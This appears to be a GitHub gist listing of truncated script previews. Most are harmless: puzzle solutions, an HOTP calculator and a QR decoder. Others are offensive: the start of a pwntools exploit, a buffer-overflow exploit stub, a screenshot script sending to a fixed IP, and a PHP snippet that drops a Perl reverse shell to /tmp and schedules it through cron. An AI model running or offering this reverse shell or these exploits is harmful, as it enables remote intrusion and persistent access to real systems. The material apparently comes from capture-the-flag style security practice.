This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
INPUT_FILE = 'part_one.input' | |
View = Data.define(:r, :g, :b) do | |
REGEX = /(\d+) red|(\d+) green|(\d+) blue/ | |
def total = r + g + b | |
def power = r * g * b | |
def +(o) = self.class[r + o.r, g + o.g, b + o.b] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
input = File.read('day_one.input') | |
Token = Data.define(:forward, :backward) | |
Tokens = { | |
eightwo: Token[8, 2], | |
eighthree: Token[8, 3], | |
fiveight: Token[5, 8], | |
nineight: Token[9, 8], |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'csv' | |
require 'socket' | |
require 'tempfile' | |
IP = '192.168.0.24' | |
PORT = 5555 | |
class Screenshot |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
LIMIT='100' | |
SLEEP='1' | |
TOKEN='xxxxxxx-xxxxxxxxxxxxxxxxxx-xxxx-xxxxxx' | |
USERNAME='username' | |
# Delete a comment by id | |
function delete_comment() { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'base64' | |
require 'json' | |
require 'zlib' | |
# Requirements: | |
# Debian: apt-get install zbar-tools | |
# OSX: brew install zbar |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'base32' | |
require 'openssl' | |
# Script to calculate HOTP so I don't have to use my phone | |
class HOTP | |
def initialize(original_secret, counter = 0) | |
secret = Base32.decode(original_secret) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
context(arch='amd64', log_level='info') | |
if len(sys.argv) >= 2: | |
use_one_gadget = True | |
libc_so_filename = './libc-2.23.so' | |
print("Using libc %s" % libc_so_filename) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'uri' | |
require 'net/http' | |
require 'json' | |
Url = 'http://hackback:6666/netstat' | |
puts "Grabbing #{Url}" | |
uri = URI.parse(Url) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# ASLR is on (stack, libs, vdso, etc) | |
# execstack is on | |
# .text segment is static, no pie | |
# | |
# #include <string.h> | |
# | |
# int dobug(char *arg) { | |
# char buf[8]; | |
# strcpy(buf, arg); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$perl = 'use Socket;$i="xx.xx.xx.xx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'; | |
$fp = fopen('/tmp/shell.pl', 'w'); | |
fwrite($fp, "#!/usr/bin/perl\n"); | |
fwrite($fp, $perl); | |
fclose($fp); | |
system('chmod 777 /tmp/shell.pl'); | |
$hour = date('H'); | |
$minute = date('i') + 1; // disgusting | |
$fp = fopen('/tmp/add_cron.sh', 'w'); |
NewerOlder